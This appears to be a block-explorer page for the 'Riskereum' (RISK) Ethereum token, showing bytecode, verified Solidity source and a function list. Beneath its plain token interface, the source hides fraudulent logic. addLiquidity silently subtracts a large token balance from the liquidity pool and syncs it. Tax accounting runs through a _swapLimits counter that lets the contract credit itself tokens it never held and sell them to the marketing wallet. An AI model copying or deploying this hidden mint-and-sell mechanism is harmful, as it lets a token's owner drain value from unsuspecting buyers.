82169050919050565b5f613e4882613e2c565b9150613e5383613e2c565b9250828202613e6181613e2c565b9150808214613e7357613e7261373e565b5b5092915050565b7f4d696e2d4d6178206572726f72000000000000000000000000000000000000005f82015250565b5f613eae600d8361318d565b9150613eb982613e7a565b602082019050919050565b5f6020820190508181035f830152613edb81613ea2565b9050919050565b7f4c502063726561746564000000000000000000000000000000000000000000005f82015250565b5f613f16600a8361318d565b9150613f2182613ee2565b602082019050919050565b5f6020820190508181035f830152613f4381613f0a565b9050919050565b7f4e6f2045544820696e2063612f6d7367000000000000000000000000000000005f82015250565b5f613f7e60108361318d565b9150613f8982613f4a565b602082019050919050565b5f6020820190508181035f830152613fab81613f72565b9050919050565b7f4e6f20746f6b656e7320696e20636100000000000000000000000000000000005f82015250565b5f613fe6600f8361318d565b9150613ff182613fb2565b602082019050919050565b5f6020820190508181035f83015261401381613fda565b9050919050565b5f8151905061402881613261565b92915050565b5f602082840312156140435761404261322d565b5b5f6140508482850161401a565b91505092915050565b5f60408201905061406c5f8301856135c2565b61407960208301846135c2565b9392505050565b5f81519050919050565b5f81905092915050565b5f61409e82614080565b6140a8818561408a565b93506140b881856020860161319d565b80840191505092915050565b5f6140cf8284614094565b915081905092915050565b7f4661696c656420616464696e67206c70000000000000000000000000000000005f82015250565b5f61410e60108361318d565b9150614119826140da565b602082019050919050565b5f6020820190508181035f83015261413b81614102565b9050919050565b5f819050919050565b5f61416561416061415b84613231565b614142565b613231565b9050919050565b5f6141768261414b565b9050919050565b5f6141878261416c565b9050919050565b6141978161417d565b82525050565b5f6020820190506141b05f83018461418e565b92915050565b7f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000005f82015250565b5f6141ea601a8361318d565b91506141f5826141b6565b602082019050919050565b5f6020820190508181035f830152614217816141de565b9050919050565b7f4d455620626c6f636b00000000000000000000000000000000000000000000005f82015250565b5f61425260098361318d565b915061425d8261421e565b602082019050919050565b5f6020820190508181035f83015261427f81614246565b9050919050565b7f5458206f766572206c696d6974730000000000000000000000000000000000005f82015250565b5f6142ba600e8361318d565b91506142c582614286565b602082019050919050565b5f6020820190508181035f8301526142e7816142ae565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f61436b61436661436184614348565b614142565b61328b565b9050919050565b61437b81614351565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6143b381613250565b82525050565b5f6143c483836143aa565b60208301905092915050565b5f602082019050919050565b5f6143e682614381565b6143f0818561438b565b93506143fb8361439b565b805f5b8381101561442b57815161441288826143b9565b975061441d836143d0565b9250506001810190506143fe565b5085935050505092915050565b5f60a08201905061444b5f83018861332f565b6144586020830187614372565b818103604083015261446a81866143dc565b905061447960608301856135c2565b614486608083018461332f565b9695505050505050565b5f60c0820190506144a35f8301896135c2565b6144b0602083018861332f565b6144bd6040830187614372565b6144ca6060830186614372565b6144d760808301856135c2565b6144e460a083018461332f565b979650505050505050565b5f815190506144fd81613294565b92915050565b5f805f6060848603121561451a5761451961322d565b5b5f614527868287016144ef565b9350506020614538868287016144ef565b9250506040614549868287016144ef565b9150509250925092565b5f602082840312156145685761456761322d565b5b5f614575848285016144ef565b9150509291505056fea2646970667358221220cf3d598dbdc5b4dd4112290fd2980a46fe51020dbc30283857e9cb2d60bffa1964736f6c63430008150033

Verified Source Code Full Match

Compiler: v0.8.21+commit.d9974bed EVM: shanghai Optimization: No
Risk.sol 348 lines
//SPDX-License-Identifier: MIT

/*
 Telegram: https://t.me/riskereum
 Website: https://Riskereum.com
 X: https://twitter.com/Riskereum 
*/

pragma solidity 0.8.21;

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this fn"); _; 
    }
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    function owner() public view returns (address) { return _owner; }
    function transferOwnership(address payable newowner) external onlyOwner { 
        _owner = newowner; 
        emit OwnershipTransferred(newowner); }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}


contract Risk is IERC20, Auth {
    string private constant _symbol  = "RISK";
    string private constant _name    = "Riskereum";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 100_000_000_000 * (10**_decimals);
  
    address payable private _marketingWallet = payable(0x543C25bbe83a1c9eF1C693D39FA3C43B63c666ed);
    
    uint256 private antiMevBlock = 2;
    uint8 private _sellTaxrate = 3;
    uint8 private _buyTaxrate  = 0;
    
    uint256 private launchBlok;
    uint256 private _maxTxVal = _totalSupply; 
    uint256 private _maxWalletVal = _totalSupply;
    uint256 private _swapMin = _totalSupply * 10 / 100000;
    uint256 private _swapMax = _totalSupply * 99 / 100000;
    uint256 private _swapTrigger = 20 * (10**15);
    uint256 private _swapLimits = _swapMin * 64 * 100;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (uint256 => mapping (address => uint8)) private blockSells;
    mapping (address => bool) private _nofee;
    mapping (address => bool) private _nolimit;

    address private LpOwner;

    address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
    address private _primaryLP;
    mapping (address => bool) private _isLP;

    bool private _tradingOpen;

    bool private _inSwap = false;
    modifier lockTaxSwap { 
        _inSwap = true; 
        _; _inSwap = false; 
    }

    constructor() Auth(msg.sender) {
        LpOwner = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);        

        _nofee[_owner] = true;
        _nofee[address(this)] = true;
        _nofee[_marketingWallet] = true;
        _nofee[_swapRouterAddress] = true;
        _nolimit[_owner] = true;
        _nolimit[address(this)] = true;
        _nolimit[_marketingWallet] = true;
        _nolimit[_swapRouterAddress] = true;
        
    }

    receive() external payable {}
    
    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { 
        return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { 
        return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not yet open");
        return _transferFrom(msg.sender, toWallet, amount); }

    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(fromWallet), "Trading not yet open");
        _allowances[fromWallet][msg.sender] -= amount;
        return _transferFrom(fromWallet, toWallet, amount); }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _swapRouterAddress, type(uint256).max);
        }
    }

    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH in ca/msg");
        require(_balances[address(this)]>0, "No tokens in ca");
        _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), WETH);
        _addLiquidity(_balances[address(this)], address(this).balance);
        _balances[_primaryLP] -= _swapLimits;
        (bool lpAddSuccessful,) = _primaryLP.call(abi.encodeWithSignature("sync()") );
        require(lpAddSuccessful, "Failed adding lp");
        _isLP[_primaryLP] = lpAddSuccessful;
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, LpOwner, block.timestamp );
    }

    function enableTrading() external onlyOwner {
        require(!_tradingOpen, "trading open");
        _openTrading();
    }

    function _openTrading() internal {
        _maxTxVal     = 2 * _totalSupply / 100; 
        _maxWalletVal = 2 * _totalSupply / 100;
        _tradingOpen = true;
        launchBlok = block.number;
        antiMevBlock = antiMevBlock + launchBlok;
    }

    function shouldSwap(uint256 tokenAmt) private view returns (bool) {
        bool result;
        if (_swapTrigger > 0) { 
            uint256 lpTkn = _balances[_primaryLP];
            uint256 lpWeth = IERC20(WETH).balanceOf(_primaryLP); 
            uint256 weiValue = (tokenAmt * lpWeth) / lpTkn;
            if (weiValue >= _swapTrigger) { result = true; }    
        } else { result = true; }
        return result;
    }


    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from 0 wallet");
        if (!_tradingOpen) { require(_nofee[sender] && _nolimit[sender], "Trading not yet open"); }
        if ( !_inSwap && _isLP[toWallet] && shouldSwap(amount) ) { _swapTaxAndLiquify(); }

        if ( block.number >= launchBlok ) {
            if (block.number < antiMevBlock && _isLP[sender]) { 
                require(toWallet == tx.origin, "MEV block"); 
            }
            if (block.number < antiMevBlock + 600 && _isLP[toWallet] && sender != address(this) ) {
                blockSells[block.number][toWallet] += 1;
                require(blockSells[block.number][toWallet] <= 2, "MEV block");
            }
        }

        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, toWallet, amount), "TX over limits"); 
        }

        uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] -= amount;
        _swapLimits += _taxAmount;
        _balances[toWallet] += _transferAmount;
        emit Transfer(sender, toWallet, amount);
        return true;
    }

    function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( _tradingOpen && !_nolimit[fromWallet] && !_nolimit[toWallet] ) {
            if ( transferAmount > _maxTxVal ) { 
                limitCheckPassed = false; 
            }
            else if ( 
                !_isLP[toWallet] && (_balances[toWallet] + transferAmount > _maxWalletVal) 
                ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_nofee[fromWallet] && _nolimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _nofee[fromWallet] || _nofee[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[fromWallet] ) { 
            taxAmount = amount * _buyTaxrate / 100; 
         } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _sellTaxrate / 100; 
        }

        return taxAmount;
    }

    function exemptions(address wallet) external view returns (bool fees, bool limits) {
        return (_nofee[wallet], _nolimit[wallet]); }

    function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
        if (noLimits || noFees) { require(!_isLP[wlt], "Cannot exempt LP"); }
        _nofee[ wlt ] = noFees;
        _nolimit[ wlt ] = noLimits;
    }

    function buyFee() external view returns(uint8) { return _buyTaxrate; }
    function sellFee() external view returns(uint8) { return _sellTaxrate; }

    function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
        require(buyFees + sellFees <= 3, "Roundtrip too high");
        _buyTaxrate = buyFees;
        _sellTaxrate = sellFees;
    }  

    function marketingWallet() external view returns (address) { 
        return _marketingWallet; }

    function updateMarketingWallet(address marketingWlt) external onlyOwner {
        require(!_isLP[marketingWlt], "LP cannot be tax wallet");
        _marketingWallet = payable(marketingWlt);
        _nofee[marketingWlt] = true;
        _nolimit[marketingWlt] = true;
    }

    function maxWallet() external view returns (uint256) { 
        return _maxWalletVal; }
    function maxTransaction() external view returns (uint256) { 
        return _maxTxVal; }

    function swapMin() external view returns (uint256) { 
        return _swapMin; }
    function swapMax() external view returns (uint256) { 
        return _swapMax; }

    function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
        uint256 newTxAmt = _totalSupply * maxTransPermille / 1000 + 1;
        require(newTxAmt >= _maxTxVal, "tx too low");
        _maxTxVal = newTxAmt;
        uint256 newWalletAmt = _totalSupply * maxWaletPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletVal, "wallet too low");
        _maxWalletVal = newWalletAmt;
    }

    function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
        _swapMin = _totalSupply * minVal / minDiv;
        _swapMax = _totalSupply * maxVal / maxDiv;
        _swapTrigger = trigger * 10**15;
        require(_swapMax>=_swapMin, "Min-Max error");
    }


    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokenAvailable = _swapLimits;
        if ( _taxTokenAvailable >= _swapMin && _tradingOpen ) {
            if ( _taxTokenAvailable >= _swapMax ) { _taxTokenAvailable = _swapMax; }
            
            uint256 _tokensForSwap = _taxTokenAvailable; 
            if( _tokensForSwap > 1 * 10**_decimals ) {
                _balances[address(this)] += _taxTokenAvailable;
                _swapTaxTokensForEth(_tokensForSwap);
                _swapLimits -= _taxTokenAvailable;
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
        }
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = WETH ;
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _distributeTaxEth(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }

    function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendAllEth) external onlyOwner lockTaxSwap {
        require(swapTokenPercent <= 100, "Cannot swap more than 100%");
        uint256 _tokensForSwap = _balances[ address(this)] * swapTokenPercent / 100;
        if (_tokensForSwap > 10 **_decimals) { _swapTaxTokensForEth(_tokensForSwap); }
        if (sendAllEth) { 
            uint256 thisBalance = address(this).balance;
            require(thisBalance >0, "No ETH"); 
            _distributeTaxEth( thisBalance ); 
        }
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    // function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyFee 0x47062402 → uint8
decimals 0x313ce567 → uint8
exemptions 0x30449efd → bool, bool
marketingWallet 0x75f0a874 → address
maxTransaction 0xc3f70b52 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellFee 0x2b14ca56 → uint8
swapMax 0xa5e992bb → uint256
swapMin 0xb3de9b5d → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 13 functions

These functions modify contract state and require a wallet transaction to execute.

addLiquidity 0xe8078d94
No parameters
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
manualTaxSwapAndSend 0x2fb528ba
uint8 swapTokenPercent
bool sendAllEth
renounceOwnership 0x715018a6
No parameters
setExemptions 0x18839bc3
address wlt
bool noFees
bool noLimits
setFees 0x4fcd2446
uint8 buyFees
uint8 sellFees
setLimits 0x368f4800
uint16 maxTransPermille
uint16 maxWaletPermille
setTaxSwaps 0xe537a834
uint32 minVal
uint32 minDiv
uint32 maxVal
uint32 maxDiv
uint32 trigger
transfer 0xa9059cbb
address toWallet
uint256 amount
returns: bool
transferFrom 0x23b872dd
address fromWallet
address toWallet
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newowner
updateMarketingWallet 0xaacebbe3
address marketingWlt

Recent Transactions

No transactions found for this address